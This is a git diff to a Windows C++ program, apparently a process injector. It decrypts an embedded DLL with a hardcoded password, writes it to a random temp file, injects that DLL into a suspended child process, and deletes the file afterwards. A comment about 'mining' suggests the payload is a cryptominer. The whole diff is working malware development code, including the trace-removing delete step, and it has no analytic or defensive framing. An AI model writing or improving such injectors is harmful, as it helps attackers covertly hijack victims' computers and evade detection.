diff --git a/windows_injector.cpp b/windows_injector.cpp index 255c5f0..b566247 100644 --- a/windows_injector.cpp +++ b/windows_injector.cpp @@ -202,26 +202,20 @@ int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { std::string password = "YourSecureMasterPassword123!"; std::vector decrypted_dll = decryptor.decrypt(ciphertext, iv, salt, password); - // For testing: write decrypted DLL to file - HANDLE hFile = CreateFileA("decrypted.dll", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + // Create temp file for the DLL + WCHAR tempPath[MAX_PATH]; + GetTempPathW(MAX_PATH, tempPath); + WCHAR tempFile[MAX_PATH]; + GetTempFileNameW(tempPath, L"DLL", 0, tempFile); + + HANDLE hFile = CreateFileW(tempFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { DWORD bytesWritten; WriteFile(hFile, decrypted_dll.data(), decrypted_dll.size(), &bytesWritten, NULL); CloseHandle(hFile); } - if (decrypted_dll.empty()) { - return 1; // Decryption failed - invalid password or corrupted data - } - - // Windows: Use decrypted data as DLL path (wide string) - const wchar_t* dllPath; - if (decrypted_dll.size() >= sizeof(wchar_t)) { - dllPath = reinterpret_cast(decrypted_dll.data()); - } else { - // Fallback to hardcoded path if decryption gives unexpected result - dllPath = L"decrypted.dll"; - } + const wchar_t* dllPath = tempFile; SIZE_T dllPathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t); SIZE_T regionSize = dllPathLen; @@ -264,6 +258,10 @@ int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { ResumeThread(pi.hThread); // optional: resume main thread (not needed for mining) + // Wait a bit for injection, then delete the temp file + Sleep(1000); + DeleteFileW(tempFile); + CloseHandle(hJob); CloseHandle(pi.hThread); CloseHandle(pi.hProcess);